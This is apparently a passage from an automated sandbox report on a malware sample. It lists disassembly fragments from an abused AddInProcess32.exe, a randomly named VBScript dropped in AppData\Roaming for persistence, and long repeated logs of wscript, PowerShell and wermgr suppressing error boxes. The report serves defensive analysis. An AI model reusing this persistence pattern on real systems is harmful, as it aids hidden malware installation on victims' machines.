Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00E37E99 push ecx; ret	14_2_00E37EAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 14_2_00DB1FEC push eax; iretd	14_2_00DB1FED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 19_2_0186C54D pushfd ; ret	19_2_0186C54E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 19_2_018209AD push ecx; mov dword ptr [esp], ecx	19_2_018209B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 19_2_0186C9D7 push edi; ret	19_2_0186C9D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 19_2_017F1368 push eax; iretd	19_2_017F1369
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 19_2_017F1FEC push eax; iretd	19_2_017F1FED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 19_2_01877E99 push ecx; ret	19_2_01877EAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A2C54F push 8B019B67h; ret	23_2_01A2C554
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A2C54D pushfd ; ret	23_2_01A2C54E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_019E09AD push ecx; mov dword ptr [esp], ecx	23_2_019E09B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 23_2_01A2C9D7 push edi; ret	23_2_01A2C9D9

Persistence and Installation Behavior

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Roaming\mBUojysElnsNYdM.vbs

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wermgr.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
